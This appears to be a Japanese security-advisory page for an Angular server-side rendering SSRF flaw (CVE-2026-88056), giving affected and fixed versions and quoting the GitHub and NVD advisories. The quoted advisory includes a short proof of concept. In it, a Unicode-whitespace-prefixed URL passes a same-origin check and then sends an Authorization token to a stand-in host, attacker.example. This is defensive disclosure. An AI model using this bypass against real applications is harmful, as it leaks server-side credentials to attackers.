GUARD SAGAS

Angularにサーバーサイドリクエストフォージェリ(SSRF)の脆弱性(CVE-2026-88056)

公開日 更新日 危険度:重大

概要

Angularにサーバーサイドリクエストフォージェリ(SSRF)の脆弱性が確認されました。

バージョン 22.0.0 以上 22.1.4 未満、21.0.0 以上 21.2.22 未満、20.0.0 以上 20.3.30 未満、19.2.25 以前に影響があります。

修正版 22.1.4 / 21.2.22 / 20.3.30 への更新が推奨されます。

脆弱性の基本情報

脆弱性ID CVE-2026-88056
GHSA-f6mr-pjwc-34m4
脆弱性の種類サーバーサイドリクエストフォージェリ(SSRF) (CWE-918)
危険度重大
CVSSスコア 9.1(CVSS v3.1) 評価元:NVD(National Vulnerability Database / NIST)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
公開日2026年9月10日
更新日2026年9月29日

影響を受ける製品

製品影響を受けるバージョン修正版出典
Angular
フレームワーク
22.0.0 以上 22.1.4 未満、21.0.0 以上 21.2.22 未満、20.0.0 以上 20.3.30 未満、19.2.25 以前 22.1.4 / 21.2.22 / 20.3.30 OSV.dev

推奨対応

  • Angularを、ご利用中の系列に対応する修正版(22.1.4 / 21.2.22 / 20.3.30)またはそれ以降の公式最新版へ更新してください。

情報元の原文

OSV.dev(GitHub Advisory Database) GHSA-f6mr-pjwc-34m4

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. ### Impact & Reachability * **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. * **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request. **Proof of Concept:** ```ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin); if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); } // Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), }); // @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker. ``` ### Workarounds * Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`. * Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
利用条件:CC BY 4.0
出典: GitHub Advisory Database(OSV.dev 経由で取得)。原文のまま掲載(改変なし)
NVD(National Vulnerability Database / NIST) CVE-2026-88056
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.
利用条件:米国政府の著作物(パブリックドメイン)・原文のまま掲載
Copyright 1999-2026 The MITRE Corporation
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.

情報元

This product uses data from the NVD API but is not endorsed or certified by the NVD.

(本サイトは NVD API のデータを利用していますが、NVD による推奨・認定を受けたものではありません。)

このページは各情報源から定期取得した情報を自動で掲載しています。日本語の表示は取得済みのデータ(製品・影響バージョン・修正版・CVSS 等)から定型文で作成しており、AIによる生成・翻訳は行っていません。取得できていない情報は表示していません。最新の情報は情報元でご確認ください。

あなたのサイトは大丈夫ですか?

GUARD SAGAS の無料診断で、CMS・サーバーのバージョンや既知の脆弱性への該当状況を確認できます。

無料診断をはじめる

← 脆弱性情報の一覧へ